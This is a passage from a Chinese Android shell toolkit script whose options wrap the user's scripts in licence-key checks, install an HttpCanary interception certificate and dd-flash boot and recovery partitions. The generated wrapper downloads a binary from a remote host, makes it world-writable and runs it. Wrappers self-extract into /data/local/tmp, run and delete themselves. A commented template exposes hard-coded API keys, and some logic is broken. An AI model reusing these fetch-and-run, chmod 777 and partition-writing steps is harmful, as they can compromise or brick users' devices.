echo "已选择Shell脚本分析工具" 1227 | echo "提示输出调试信息需要执行目标脚本!" 1228 | echo "请输入文件路径:" 1229 | read A 1230 | A1=$(basename "$A") 1231 | #未输出处理 1232 | if [ -z "$A" ]; then 1233 | #请勿删除,删除导致乱删文件,后果自负 1234 | exit 1 1235 | fi 1236 | echo "调试信息:$A" 1237 | 1238 | B=$(sh -x "${A}" 2>&1) 1239 | echo "$B" | tee "2${A1}.#log" # 将调试信息写入文件 1240 | clear 1241 | echo "请查看当前路径" 1242 | 1243 | # 读取文件,并将第7行及以后的内容写入临时文件 1244 | tail -n +7 "$nbb.x.c" > "/data/local/lsml/ssshh" 1245 | rm "$nbb" 1246 | rm "$nbb.x.c" 1247 | # 将临时文件覆盖原文件 1248 | cp "/data/local/lsml/ssshh" "⭐️G4$mulu.c" 1249 | rm "/data/local/lsml/ssshh" 1250 | 1251 | echo "完成了,已保存当前目录:⭐️G4$mulu.c" 1252 | 1253 | ## ---------------------------------------------------------- 1254 | elif [ $choice == "666" ]; then ## 选项 1255 | 1256 | url="https://zjty456.oss-cn-hangzhou.aliyuncs.com/zanshangma.png" 1257 | output_file="⭐️微信赞赏码.png" 1258 | curl -s -o $output_file $url 1259 | 1260 | echo "微信赞赏码已保存当前目录" 1261 | echo "感谢支持!" 1262 | 1263 | elif [ $choice == "e1" ]; then ## //选项3 1264 | clear 1265 | # decoded_str=$(echo -n "Wy1dIEJ5IOaPkOekuuaCqCAKCuaCqOato+WcqOS9v+eUqOeahOaYryBCeeWll+Wjs+W3peWFt+W8 1266 | # gOa6kOeJiOacrAoK5pSv5oyBIOiHquWumuS5ieWll+Wjs+W+rumqjCDpnZnmgIHlr4bnoIHnrYkK 1267 | # CuWFt+S9k+S9v+eUqOaVmeeoi+WPr+S7peWPguiAg+S7peS4i+mTvuaOpQoKaHR0cHM6Ly93d3cu 1268 | # MTIzcGFuLmNvbS9zL2Y0QTdWdi16UlMwQS5odG1sICDmj5Dlj5bnoIHvvJpqYXFOCg==" | base64 -d) 1269 | 1270 | echo "$decoded_str" 1271 | echo "请输入需要对接的 APPID:" 1272 | read APPID 1273 | echo "请输入需要对接的 APPKEY:" 1274 | read APPKEY 1275 | echo "请输入需要对接的 RC4KEY:" 1276 | read RC4KEY 1277 | echo "请输入需要对接的 状态码:" 1278 | read STATUS_CODE 1279 | 1280 | # 使用Here Document创建脚本 1281 | cat << 'EOF' > Lib/梦溪微验.sh 1282 | #!/bin/sh 1283 | 1284 | CR_Y='033[1;33m' 1285 | R_S='033[1;35m' 1286 | 1287 | # 配置区 1288 | wyUrl="http://wy.llua.cn/api/" #api调用 不要修改 1289 | wyAppid="APPID_PLACEHOLDER" #填入你的appid 1290 | wyAppkey="APPKEY_PLACEHOLDER" #填入你的appkey 1291 | wyRc4key="RC4KEY_PLACEHOLDER" #填入你的rc4key 1292 | deCode="STATUS_CODE_PLACEHOLDER" #填入你的登陆状态码 1293 | 1294 | pr() { 1295 | print "${R_S}\n卡密验证\n" 1296 | } 1297 | 1298 | pr 1299 | 1300 | # 检查文件是否存在 1301 | if [ -f "/data/rc4" ]; then 1302 | echo "" 1303 | else 1304 | # 云端下载配置文件 1305 | curl "https://wp.xn--vhq94f8t5ayuu.cn/down.php/d45a087a60f05c45dfaabe2f58fcf146." -o "/data/rc4" 1306 | clear 1307 | pr 1308 | fi 1309 | 1310 | # 检查文件是否为权限为777 1311 | if [ "$(stat -c '%a' "/data/rc4")" = "777" ]; then 1312 | echo "" 1313 | else 1314 | #给予配置文件权限 1315 | chmod 777 "/data/rc4" 1316 | fi 1317 | 1318 | # 调用Json 1319 | function parse_json() { 1320 | local json="$1" 1321 | local query="$2" 1322 | local value=$(echo "$json" | grep -o "\"$query\":[^ }]*" | sed 's/"[^"]*":\([^,}]*\).*/\1/' | head -n 1) 1323 | value="${value#\"}" 1324 | value="${value%\"}" 1325 | echo "$value" 1326 | } 1327 | 1328 | # 调用公告 1329 | notice=$(curl -s "${wyUrl}?id=notice&app=${wyAppid}") 1330 | deNotice=$(/data/rc4 "$notice" "$wyRc4key" "de") 1331 | Notices=$(parse_json "$deNotice" "app_gg") 1332 | echo -e "公告:\n${Notices}\n" 1333 | 1334 | # 调用登陆 1335 | echo "${CR_Y}请输入卡密:(点击屏幕右下角lm弹窗键盘)" 1336 | read -r kami 1337 | timer=$(date +%s) 1338 | android_id=$(settings get secure android_id) 1339 | fingerprint=$(getprop ro.build.fingerprint) 1340 | imei=$(echo -n "${android_id}.${fingerprint}" | md5sum | awk '{print $1}') 1341 | value="$RANDOM${timer}" 1342 | sign=$(echo -n "kami=${kami}&markcode=${imei}&t=${timer}&${wyAppkey}" | md5sum | awk '{print $1}') 1343 | data=$(/data/rc4 "kami=${kami}&markcode=${imei}&t=${timer}&sign=${sign}&value=${value}&${wyAppkey}" $wyRc4key "en") 1344 | logon=$(curl -s "${wyUrl}?id=kmlogon&app=${wyAppid}&data=${data}") 1345 | deLogon=$(/data/rc4 "$logon" "$wyRc4key" "de") 1346 | wy_Code=$(parse_json "$deLogon" "code") 1347 | if [ "$wy_Code" -eq "$deCode" ]; then 1348 | timec=$(parse_json "$deLogon" "time") 1349 | check=$(echo -n "${timec}${wyAppkey}${value}" | md5sum | awk '{print $1}') 1350 | checks=$(parse_json "$deLogon" "check") 1351 | if [ "$check" == "$checks" ]; then 1352 | vip=$(parse_json "$deLogon" "vip") 1353 | vips=$(date -d @$vip +"%Y-%m-%d %H:%M:%S") 1354 | clear 1355 | echo "登录成功,到期时间:${vips}" 1356 | sed -n '89,$p' "$0" > /data/local/tmp/tmp.sh 1357 | chmod -R 777 //data/local/tmp/ 1358 | (sleep 2; rm /data/local/tmp/tmp.sh) & 1359 | /data/local/tmp/tmp.sh 1360 | exit 1361 | else 1362 | echo "校验失败" 1363 | exit; 1364 | fi 1365 | else 1366 | msg=$(parse_json "$deLogon" "msg") 1367 | echo "$msg" 1368 | exit; 1369 | fi 1370 | EOF 1371 | 1372 | # 替换占位符 1373 | sed -i "s/APPID_PLACEHOLDER/$APPID/" Lib/梦溪微验.sh 1374 | sed -i "s/APPKEY_PLACEHOLDER/$APPKEY/" Lib/梦溪微验.sh 1375 | sed -i "s/RC4KEY_PLACEHOLDER/$RC4KEY/" Lib/梦溪微验.sh 1376 | sed -i "s/STATUS_CODE_PLACEHOLDER/$STATUS_CODE/" Lib/梦溪微验.sh 1377 | source_file="Lib/梦溪微验.sh" 1378 | for target_file in 需要套壳的文件放入到我/*; do 1379 | hex_content=$(xxd -c 1 -p $source_file) 1380 | echo "$hex_content" | xxd -r -p | cat - $target_file > temp && mv temp $target_file 1381 | rm -f ./Lib 1382 | echo "@shtoolsNb 已成功套壳 $target_file " 1383 | done 1384 | elif [ $choice == "e2" ]; then ## //选项3 1385 | clear 1386 | # decoded_str=$(echo -n "Wy1dIEJ5IOaPkOekuuaCqCAKCuaCqOato+WcqOS9v+eUqOeahOaYryBCeeWll+Wjs+W3peWFt+W8 1387 | # gOa6kOeJiOacrAoK5pSv5oyBIOiHquWumuS5ieWll+Wjs+W+rumqjCDpnZnmgIHlr4bnoIHnrYkK 1388 | # CuWFt+S9k+S9v+eUqOaVmeeoi+WPr+S7peWPguiAg+S7peS4i+mTvuaOpQoKaHR0cHM6Ly93d3cu 1389 | # MTIzcGFuLmNvbS9zL2Y0QTdWdi16UlMwQS5odG1sICDmj5Dlj5bnoIHvvJpqYXFOCg==" | base64 -d) 1390 | 1391 | echo "$decoded_str" 1392 | echo "请输入需要设置的密码:" 1393 | read PASSWORD 1394 | 1395 | # 使用Here Document创建脚本 1396 | cat << 'EOF' > Lib/静态密码.sh 1397 | #!/system/bin/sh 1398 | echo -e "By 密码验证" 1399 | echo -e "建议套壳以后的 使用 加密 避免被破解" 1400 | echo -e "请输入数字 1或者 2 [右下角lm提起键盘]" 1401 | echo " 1 使用说明[暂无]:" 1402 | echo " 2 输入2进入项目:" 1403 | echo " By 提醒您输入以上数字:" 1404 | read choice 1405 | if [ $choice -eq 1 ]; then 1406 | am start -a android.intent.action.VIEW -d 2>/dev/null 1407 | exit 1408 | elif [ $choice -eq 2 ]; then 1409 | echo "请输入卡密:" 1410 | read password 1411 | if [ "$password" == "PASSWORD_PLACEHOLDER" ]; then 1412 | sed -n '30,$p' "$0" > /data/local/tmp/tmp.sh 1413 | chmod -R 777 //data/local/tmp/ 1414 | (sleep 2; rm /data/local/tmp/tmp.sh) & 1415 | /data/local/tmp/tmp.sh 1416 | exit 1417 | else 1418 | echo "密码错误,登录失败。" 1419 | exit 1420 | fi 1421 | else 1422 | echo "请输入1或2" 1423 | exit 1424 | 1425 | fi 1426 | EOF 1427 | 1428 | 1429 | # 替换占位符 1430 | sed -i "s/PASSWORD_PLACEHOLDER/$PASSWORD/" Lib/静态密码.sh 1431 | source_file="Lib/静态密码.sh" 1432 | 1433 | for target_file in 需要套壳的文件放入到我/*; do 1434 | hex_content=$(xxd -c 1 -p $source_file) 1435 | echo "$hex_content" | xxd -r -p | cat - $target_file > temp && mv temp $target_file 1436 | 1437 | rm -f ./Lib 1438 | echo "@shtoolsNb 已成功套壳 $target_file " 1439 | done 1440 | elif [ $choice == "e3" ]; then ## //选项3 1441 | clear 1442 | 1443 | # decoded_str=$(echo -n "Wy1dIEJ5IOaPkOekuuaCqCAKCuaCqOato+WcqOS9v+eUqOeahOaYryBCeeWll+Wjs+W3peWFt+W8 1444 | # gOa6kOeJiOacrAoK5pSv5oyBIOiHquWumuS5ieWll+Wjs+W+rumqjCDpnZnmgIHlr4bnoIHnrYkK 1445 | # CuWFt+S9k+S9v+eUqOaVmeeoi+WPr+S7peWPguiAg+S7peS4i+mTvuaOpQoKaHR0cHM6Ly93d3cu 1446 | # MTIzcGFuLmNvbS9zL2Y0QTdWdi16UlMwQS5odG1sICDmj5Dlj5bnoIHvvJpqYXFOCg==" | base64 -d) 1447 | 1448 | echo "$decoded_str" 1449 | echo "请输入您需要加在脚本前面的内容:" 1450 | read PASSWORD 1451 | 1452 | # 使用Here Document创建脚本 1453 | cat << 'EOF' > Lib/话语套壳.sh 1454 | #!/system/bin/sh 1455 | echo " PASSWORD_PLACEHOLDER" 1456 | sed -n '7,$p' "$0" > /data/local/tmp/tmp.sh 1457 | chmod -R 777 //data/local/tmp/ 1458 | (sleep 2; rm /data/local/tmp/tmp.sh) & 1459 | /data/local/tmp/tmp.sh 1460 | EOF 1461 | 1462 | 1463 | # 替换占位符 1464 | sed -i "s/PASSWORD_PLACEHOLDER/$PASSWORD/" Lib/话语套壳.sh 1465 | source_file="Lib/话语套壳.sh" 1466 | 1467 | for target_file in 需要套壳的文件放入到我/*; do 1468 | hex_content=$(xxd -c 1 -p $source_file) 1469 | echo "$hex_content" | xxd -r -p | cat - $target_file > temp && mv temp $target_file 1470 | 1471 | rm -f ./Lib 1472 | echo "@shtoolsNb 已成功套壳 $target_file " 1473 | done 1474 | 1475 | elif [ $choice == "f1" ]; then ## //选项3 1476 | clear 1477 | echo "只能解决部分设备卡屏" 1478 | settings put system block_untrusted_touches 0 1479 | settings put global block_untrusted_touches 0 1480 | settings put secure block_untrusted_touches 0 1481 | echo "解决成功" 1482 | elif [ $choice == "f2" ]; then ## //选项3 1483 | clear 1484 | [[ "$(id -u)" != "2000" && "$(id -u)" != "0" ]] && echo "请给予ROOT权限" && exit 1485 | prog_name="/data/local/tmp/HttpCanary.jks" # 证书导出路径 ... 1486 | sed "1,/^# END OF THE SCRIPT/d" "$0" > ${prog_name} && chmod 600 ${prog_name} # 导出证书,并设置文件权限 ... 1487 | echo "黄鸟一键安装证书" 1488 | sleep 1s 1489 | echo "正在安装证书" 1490 | mv ${prog_name} /data/user/0/com.guoshi.httpcanary/cache/ 1491 | appid=$(dumpsys package com.guoshi.httpcanary | grep userId= | sed 's/.*=123456(.*123456)/1234561/') 1492 | chown $appid: /data/user/0/com.guoshi.httpcanary/cache/HttpCanary.jks 1493 | sleep 1s 1494 | echo "证书导入成功" 1495 | elif [ $choice == "f3" ]; then ## //选项3 1496 | clear 1497 | clear 1498 | while true; do 1499 | echo -e "\033[95m@shtoolsNB\033[0m" 1500 | echo 1501 | echo "=== 菜单 ===" 1502 | echo "1. 备份boot[内核]" 1503 | echo "2. 备份rec[recovery]" 1504 | echo "3. 刷入boot[内核]" 1505 | echo "4. 刷入rec[recovery]" 1506 | echo "0. 退出使用" 1507 | echo "温馨提示:" 1508 | echo -e "\033[0;31m3和4可以直接使用\033[0m" 1509 | echo "请选择一个功能选项:" 1510 | read choice 1511 | 1512 | case $choice in 1513 | 1) 1514 | echo "备份后的内核会在新创建的<分区备份>里面" 1515 | echo "点击回车继续操作" 1516 | read 1517 | echo "=============================" 1518 | 1519 | wenj="/storage/emulated/0/分区备份" 1520 | folder_path="/storage/emulated/0/分区备份/boot" 1521 | 1522 | if [ -f "$folder_path" ]; then 1523 | echo "检测到已经备份过" 1524 | echo "继续/停止" 1525 | read jixu 1526 | if [ "$jixu" == "停止" ]; then 1527 | exit 1528 | else 1529 | if [ -d "$wenj" ]; then 1530 | echo "正在检查文件夹是否存在" 1531 | echo "" 1532 | echo "等待3秒" 1533 | sleep 3 1534 | echo "文件夹已存在" 1535 | echo "正在尝试复制……" 1536 | sleep 0.5 1537 | cp /dev/block/by-name/boot /storage/emulated/0/分区备份 1538 | echo "已经备份到/storage/emulated/0/分区备份" 1539 | else 1540 | 1541 | echo "正在检查文件夹是否存在" 1542 | echo "" 1543 | echo "等待3秒" 1544 | sleep 3 1545 | echo "文件夹不存在" 1546 | echo "准备创建文件夹" 1547 | sleep 1 1548 | mkdir 分区备份 1549 | echo "已创建" 1550 | echo "/storage/emulated/0/分区备份" 1551 | echo "正在尝试复制……" 1552 | sleep 0.5 1553 | cp /dev/block/by-name/boot /storage/emulated/0/分区备份 1554 | echo "已经备份到/storage/emulated/0/分区备份" 1555 | fi 1556 | fi 1557 | else 1558 | if [ -d "$wenj" ]; then 1559 | echo "正在检查文件夹是否存在" 1560 | echo "" 1561 | echo "等待3秒" 1562 | sleep 3 1563 | echo "文件夹已存在" 1564 | echo "正在尝试复制……" 1565 | sleep 0.5 1566 | cp /dev/block/by-name/boot /storage/emulated/0/分区备份 1567 | echo "已经备份到/storage/emulated/0/分区备份" 1568 | else 1569 | echo "正在检查文件夹是否存在" 1570 | echo "" 1571 | echo "等待3秒" 1572 | sleep 3 1573 | echo "文件夹不存在" 1574 | echo "准备创建文件夹" 1575 | sleep 1 1576 | mkdir 分区备份 1577 | echo "已创建" 1578 | echo "/storage/emulated/0/分区备份" 1579 | echo "正在尝试复制……" 1580 | sleep 0.5 1581 | cp /dev/block/by-name/boot /storage/emulated/0/分区备份 1582 | echo "已经备份到/storage/emulated/0/分区备份" 1583 | fi 1584 | fi 1585 | ;; 1586 | 2) 1587 | echo "备份后的内核会在新创建的<分区备份>里面" 1588 | echo "点击回车继续操作" 1589 | read 1590 | echo "=============================" 1591 | 1592 | wenjj="/storage/emulated/0/分区备份" 1593 | m="/storage/emulated/0/分区备份/recovery" 1594 | 1595 | if [ -f "$m" ]; then 1596 | echo "检测到已经备份过" 1597 | echo "继续/停止" 1598 | read tingz 1599 | if [ "$tingz" == "停止" ]; then 1600 | exit 1601 | else 1602 | wenjj="/storage/emulated/0/分区备份" 1603 | if [ -d "$wenjj" ]; then 1604 | echo "正在检查文件夹是否存在" 1605 | echo "" 1606 | echo "等待3秒" 1607 | sleep 3 1608 | echo "文件夹已存在" 1609 | echo "正在尝试复制……" 1610 | sleep 0.5 1611 | cp /dev/block/by-name/recovery /storage/emulated/0/分区备份 1612 | echo "已经备份到/storage/emulated/0/分区备份" 1613 | else 1614 | 1615 | echo "正在检查文件夹是否存在" 1616 | echo "" 1617 | echo "等待3秒" 1618 | sleep 3 1619 | echo "文件夹不存在" 1620 | echo "准备创建文件夹" 1621 | sleep 1 1622 | mkdir 分区备份 1623 | echo "已创建" 1624 | echo "/storage/emulated/0/分区备份" 1625 | echo "正在尝试复制……" 1626 | sleep 0.5 1627 | cp /dev/block/by-name/recovery /storage/emulated/0/分区备份 1628 | echo "已经备份到/storage/emulated/0/分区备份" 1629 | fi 1630 | fi 1631 | else 1632 | if [ -d "$wenjj" ]; then 1633 | echo "正在检查文件夹是否存在" 1634 | echo "" 1635 | echo "等待3秒" 1636 | sleep 3 1637 | echo "文件夹已存在" 1638 | echo "正在尝试复制……" 1639 | sleep 0.5 1640 | cp /dev/block/by-name/recovery /storage/emulated/0/分区备份 1641 | echo "已经备份到/storage/emulated/0/分区备份" 1642 | else 1643 | echo "正在检查文件夹是否存在" 1644 | echo "" 1645 | echo "等待3秒" 1646 | sleep 3 1647 | echo "文件夹不存在" 1648 | echo "准备创建文件夹" 1649 | sleep 1 1650 | mkdir 分区备份 1651 | echo "已创建" 1652 | echo "/storage/emulated/0/分区备份" 1653 | echo "正在尝试复制……" 1654 | sleep 0.5 1655 | cp /dev/block/by-name/recovery /storage/emulated/0/分区备份 1656 | echo "已经备份到/storage/emulated/0/分区备份" 1657 | fi 1658 | fi 1659 | ;; 1660 | 3) 1661 | bootbf="/storage/emulated/0/分区备份/boot" 1662 | 1663 | if [ -f "$bootbf" ]; then 1664 | while true; do 1665 | echo "请输入需要刷入的"boot"绝对路径" 1666 | read bootluj 1667 | echo "请再次输入需要输入的"boot"绝对路径" 1668 | read bootluj1 1669 | 1670 | if [ "$bootluj" = "$bootluj1" ]; then 1671 | echo "温馨提示: 1672 | 请确保填写的有效路径!错误可能导致刷入失败!" 1673 | break 1674 | else 1675 | echo "请确保两次填写一致!" 1676 | fi 1677 | done 1678 | countdown=10 1679 | echo "10秒后开始修复" 1680 | while [ $countdown -gt 0 ]; do 1681 | echo "倒计时: $countdown" 1682 | sleep 1 1683 | ((countdown--)) 1684 | done 1685 | 1686 | echo "准备开始刷入" 1687 | sleep 3 1688 | dd if="$bootluj1" of=/dev/block/bootdevice/by-name/boot 1689 | echo "刷入boot成功!" 1690 | echo "强烈建议您重启手机之前备份一下boot" 1691 | else 1692 | echo "检测到您没有备份boot分区,是否前往备份[是/否]" 1693 | 1694 | read choice 1695 | 1696 | if [[ $choice == "是" || $choice == "是" ]]; then 1697 | echo 1698 | else 1699 | 1700 | 1701 | while true; do 1702 | echo "请输入需要刷入的"boot"绝对路径" 1703 | read bootluj 1704 | echo "请再次输入需要输入的"boot"绝对路径" 1705 | read bootluj1 1706 | 1707 | if [ "$bootluj" = "$bootluj1" ]; then 1708 | echo "温馨提示: 1709 | 请确保填写的有效路径!错误可能导致刷入失败!" 1710 | break 1711 | else 1712 | echo "请确保两次填写一致!" 1713 | fi 1714 | done 1715 | countdown=10 1716 | echo "10秒后开始修复" 1717 | while [ $countdown -gt 0 ]; do 1718 | echo "倒计时: $countdown" 1719 | sleep 1 1720 | ((countdown--)) 1721 | done 1722 | echo "准备开始刷入" 1723 | sleep 3 1724 | dd if="$bootluj1" of=/dev/block/bootdevice/by-name/boot 1725 | echo "刷入boot成功!" 1726 | echo "强烈建议您重启手机之前备份一下boot" 1727 | fi 1728 | fi 1729 | ;; 1730 | 4) 1731 | biobf="/storage/emulated/0/分区备份/bioovery" 1732 | 1733 | if [ -f "$biobf" ]; then 1734 | while true; do 1735 | echo "请输入需要刷入的"recovery"绝对路径" 1736 | read bioluj 1737 | echo "请再次输入需要输入的"recovery"绝对路径" 1738 | read bioluj1 1739 | 1740 | if [ "$bioluj" = "$bioluj1" ]; then 1741 | echo "温馨提示: 1742 | 请确保填写的有效路径!错误可能导致刷入失败!" 1743 | break 1744 | else 1745 | echo "请确保两次填写一致!" 1746 | fi 1747 | done 1748 | countdown=10 1749 | echo "10秒后修复" 1750 | while [ $countdown -gt 0 ]; do 1751 | echo "倒计时: $countdown" 1752 | sleep 1 1753 | ((countdown--)) 1754 | done 1755 | 1756 | echo "准备开始刷入" 1757 | sleep 3 1758 | dd if="$bioluj1" of=/dev/block/bootdevice/by-name/recovery 1759 | echo "刷入rec成功!" 1760 | echo "强烈建议您重启手机之前备份一下rec" 1761 | else 1762 | echo "检测到您没有备份recovery分区,是否前往备份[是/否]" 1763 | 1764 | read choice 1765 | 1766 | if [[ $choice == "是" || $choice == "是" ]]; then 1767 | echo 1768 | else 1769 | while true; do 1770 | echo "请输入需要刷入的"recovery"绝对路径" 1771 | read bioluj 1772 | echo "请再次输入需要输入的"recovery"绝对路径" 1773 | read bioluj1 1774 | 1775 | if [ "$bioluj" = "$bioluj1" ]; then 1776 | echo "温馨提示: 1777 | 请确保填写的有效路径!错误可能导致刷入失败!" 1778 | break 1779 | else 1780 | echo "请确保两次填写一致!" 1781 | fi 1782 | done 1783 | countdown=10 1784 | echo "10秒后修复" 1785 | while [ $countdown -gt 0 ]; do 1786 | echo "倒计时: $countdown" 1787 | sleep 1 1788 | ((countdown--)) 1789 | done 1790 | 1791 | echo "准备开始刷入" 1792 | sleep 3 1793 | dd if="$bioluj1" of=/dev/block/bootdevice/by-name/recovery 1794 | echo "刷入rec成功!" 1795 | echo "强烈建议您重启手机之前备份一下rec" 1796 | fi 1797 | fi 1798 | 1799 | ;; 1800 | 0) 1801 | echo "启动" 1802 | exit 0 1803 | ;; 1804 | *) 1805 | echo "失败了?" 1806 | ;; 1807 | esac 1808 | 1809 | echo 1810 | done 1811 | elif [ $choice == "x1" ]; then ## //选项3 1812 | clear 1813 | ################################################### 1814 | # _ooOoo_ 1815 | # o8888888o 1816 | # 88" . "88 1817 | # (| -_- |) 1818 | # O\ = /O 1819 | # ____/`---'\____ 1820 | # .' \\| |// `. 1821 | # / \\||| : |||// \ 1822 | # / _||||| -:- |||||_ \ 1823 | # | | \\\ - /// | | 1824 | # | \_| ''\---/'' |_/ | 1825 | # \ .-\__ `-` __/-. / 1826 | # ___`. .' /--.--\ `. .'___ 1827 | # ."" '< `.___\_<|>_/___.' >' "". 1828 | # | | : `- \`.;`\ _ /`;.`/ - ` : | | 1829 | # \ \ `-. \_ __\ /__ _/ .-` / / 1830 | # ======`-.____`-.___\_____/___.-`____.-'====== 1831 | # 1832 | # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 1833 | # 佛祖保佑 永无BUG 1834 | #################################################### 1835 | #练习进度------------------------> 1836 | # 指定文件路径 1837 | # rm -f /data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt 1838 | 1839 | 1840 | # if su echo "尝试获取守护进程" > /dev/null 2>&1; then 1841 | # echo "守护进程已加载调式信息已输出" 1842 | # else 1843 | # echo "守护进程加载失败脚本以代码1退出" 1844 | # exit 1 1845 | # fi 1846 | #内核信息核对------------> 1847 | get_device_model() { 1848 | MODEL=$(uname -m) 1849 | echo "设备型号: $MODEL" 1850 | } 1851 | get_kernel_version() { 1852 | # 使用uname命令获取内核版本 1853 | KERNEL_VERSION=$(uname -r) 1854 | echo "内核版本: $KERNEL_VERSION" 1855 | } 1856 | check_original_kernel() { 1857 | ORIGINAL_KERNEL="4.14.138-perf-g482276f3f39f" 1858 | CURRENT_KERNEL=$(uname -r) 1859 | if [ "$ORIGINAL_KERNEL" = "$ORIGINAL_KERNEL" ]; then 1860 | echo "内核初级校验成功。" 1861 | else 1862 | echo "警告:内核初级校验不通过当前内核版本为:$CURRENT_KERNEL" 1863 | exit 1864 | fi 1865 | } 1866 | get_device_model 1867 | get_kernel_version 1868 | check_original_kernel 1869 | #<-------------------------- 1870 | sleep 3 1871 | clear 1872 | 1873 | echo '调试信息:' 1874 | ps -p $$ 1875 | if command -v su >/dev/null 2>&1; then 1876 | 1877 | echo "su 命令可用,设备已 root。" 1878 | 1879 | else 1880 | 1881 | echo "su 命令不可用,设备未 root 请切换到root设备" 1882 | exit 1883 | fi 1884 | 1885 | sleep 3 1886 | clear 1887 | echo 1888 | echo 1889 | echo "当前shell环境为$SHELL 1890 | 1891 | 如果是/system/bin/sh的话建议练习使用mt管理器 1892 | 如果是/data/data/com.termux/files/usr/bin/bash建议无脑使用此脚本" 1893 | echo 1894 | echo 1895 | sleep 5 1896 | clear 1897 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 1898 | 1899 | # 创建目录的函数 1900 | create_directory() { 1901 | local dir_path=$1 1902 | if [ ! -d "$dir_path" ]; then 1903 | mkdir -p "$dir_path" 1904 | # echo "目录 $dir_path 创建成功。" 1905 | fi 1906 | } 1907 | 1908 | # 检查并创建所需的目录结构 1909 | create_directory "/data" 1910 | create_directory "/data/user" 1911 | create_directory "/data/user/0" 1912 | create_directory "/data/user/0/com.aidepro.top" 1913 | create_directory "/data/user/0/com.aidepro.top/cache" 1914 | create_directory "/data/user/0/com.aidepro.top/cache/image_manager_disk_cache" 1915 | 1916 | # 检查文件是否存在 1917 | if [ -f "$FILE_PATH" ]; then 1918 | # 文件存在,读取最后一行内容并显示 1919 | LAST_LINE=$(tail -n 1 "$FILE_PATH") 1920 | echo "当前进度为: $LAST_LINE" 1921 | else 1922 | # 文件不存在,创建文件并写入0 1923 | echo "0" > "$FILE_PATH" 1924 | # echo "文件记录.txt已创建,并写入初始值0。" 1925 | fi 1926 | #<-------------------------- 1927 | 1928 | #!/bin/bash 1929 | 1930 | # 指定文件路径 1931 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 1932 | 1933 | # 检查文件是否存在 1934 | if [ ! -f "$FILE_PATH" ]; then 1935 | echo "文件不存在,请检查路径是否正确。" 1936 | exit 1 1937 | fi 1938 | 1939 | # 读取文件中的数字 1940 | read -r number < "$FILE_PATH" 1941 | 1942 | # 根据数字大小给出提示级别 1943 | if [ "$number" -lt 5 ]; then 1944 | echo "你的级别是:1级小fw" 1945 | elif [ "$number" -lt 10 ]; then 1946 | echo "你的级别是:2级废柴" 1947 | elif [ "$number" -lt 15 ]; then 1948 | echo "你的级别是:3级废铁" 1949 | elif [ "$number" -lt 20 ]; then 1950 | echo "你的等级是:4级青铜" 1951 | else 1952 | echo "5级或以上" 1953 | fi 1954 | 1955 | 1956 | 1957 | # #微验Shell模板 1958 | # # echo 急死等等hi那些 1959 | # # echo "\n欢迎使用微验网络验证\n微验官网:llua.cn\n加载中...\n" 1960 | # RED_BOLD='\033[1;31m' 1961 | # RESET='\033[0m' 1962 | # echo "${RED_BOLD} 本教程涉及到危险的指导,请勿用于违法途径!${RESET}" 1963 | # echo "${RED_BOLD} 出了事情,作者概不担责! ${RESET}" 1964 | # if ! [ -e "rc4" ]; then 1965 | # echo "rc4文件缺失" 1966 | # exit 1 1967 | # fi 1968 | # chmod 777 rc4 1969 | 1970 | # #配置区 1971 | # w919d158d512186f6724aada5e0fc0f6f_wyUrl="http://wy.llua.cn/api/" #API接口(一般不用改) 1972 | # w919d158d512186f6724aada5e0fc0f6f_wyAppid="71249" #APPID(应用ID) 1973 | # w919d158d512186f6724aada5e0fc0f6f_wyAppkey="CkbjvmP0UlLGkWU" #APPKEY(应用秘钥) 1974 | # w919d158d512186f6724aada5e0fc0f6f_wyRc4key="uETCZij3Ar7KDWO" #Rc4KEY(Rc4秘钥) 1975 | 1976 | # #函数区 1977 | # parse_json() { 1978 | # json=$1 1979 | # query=$2 1980 | # value=$(echo "$json" | grep -o "\"$query\":[^ }]*" | sed 's/"[^"]*":\([^,}]*\).*/\1/' | head -n 1) 1981 | # value="${value#\"}" 1982 | # value="${value%\"}" 1983 | # echo "$value" 1984 | # } 1985 | 1986 | # #公告区 1987 | # notice=`curl -s "${w919d158d512186f6724aada5e0fc0f6f_wyUrl}?id=notice&app=${w919d158d512186f6724aada5e0fc0f6f_wyAppid}"` 1988 | # deNotice=`./rc4 $notice $w919d158d512186f6724aada5e0fc0f6f_wyRc4key "de"` 1989 | # Notices=`parse_json "$deNotice" "app_gg"` 1990 | # echo "系统公告:\n${Notices}\n" 1991 | 1992 | 1993 | # #验证区 1994 | # echo "${RED_BOLD}卡密随便输入${RESET}" 1995 | # echo "${RED_BOLD}请输入卡密 ${RESET}" 1996 | # read kami 1997 | # timer=`date +%s` 1998 | # android_id=`settings get secure android_id` 1999 | # fingerprint=`getprop ro.build.fingerprint` 2000 | # imei=`echo -n "${android_id}.${fingerprint}" | md5sum | awk '{print $1}'` 2001 | # value="$RANDOM${timer}" 2002 | # sign=`echo -n "kami=${kami}&markcode=${imei}&t=${timer}&${w919d158d512186f6724aada5e0fc0f6f_wyAppkey}" | md5sum | awk '{print $1}'` 2003 | # data=`./rc4 "kami=${kami}&markcode=${imei}&t=${timer}&sign=${sign}&value=${value}&${w919d158d512186f6724aada5e0fc0f6f_wyAppkey}" $w919d158d512186f6724aada5e0fc0f6f_wyRc4key "en"` 2004 | # logon=`curl -s "${w919d158d512186f6724aada5e0fc0f6f_wyUrl}?id=kmlogin&app=${w919d158d512186f6724aada5e0fc0f6f_wyAppid}&data=${data}"` 2005 | # deLogon=`./rc4 $logon $w919d158d512186f6724aada5e0fc0f6f_wyRc4key "de"` 2006 | # w919d158d512186f6724aada5e0fc0f6f_wy_Code=`parse_json "$deLogon" "r38d2e0fe5e4348ad84ae6d050b4bf26e"` 2007 | # if [ "$w919d158d512186f6724aada5e0fc0f6f_wy_Code" -eq 44573 ]; then 2008 | # kamid=`parse_json "$deLogon" "g1a38d2e8dd28139e9b3f6d1b680ad2e5"` 2009 | # timec=`parse_json "$deLogon" "n99d92571f73ae2ebe615c24dc98e9ba7"` 2010 | # check=`echo -n "${timec}${w919d158d512186f6724aada5e0fc0f6f_wyAppkey}${value}" | md5sum | awk '{print $1}'` 2011 | # checks=`parse_json "$deLogon" "def00c733f43b295479c8b33b9b348b73"` 2012 | # if [ "$check" == "$checks" ]; then 2013 | # vip=`parse_json "$deLogon" "ycd7d23c36326eed2761e71b0fc1adf1d"` 2014 | # vips=`date -d 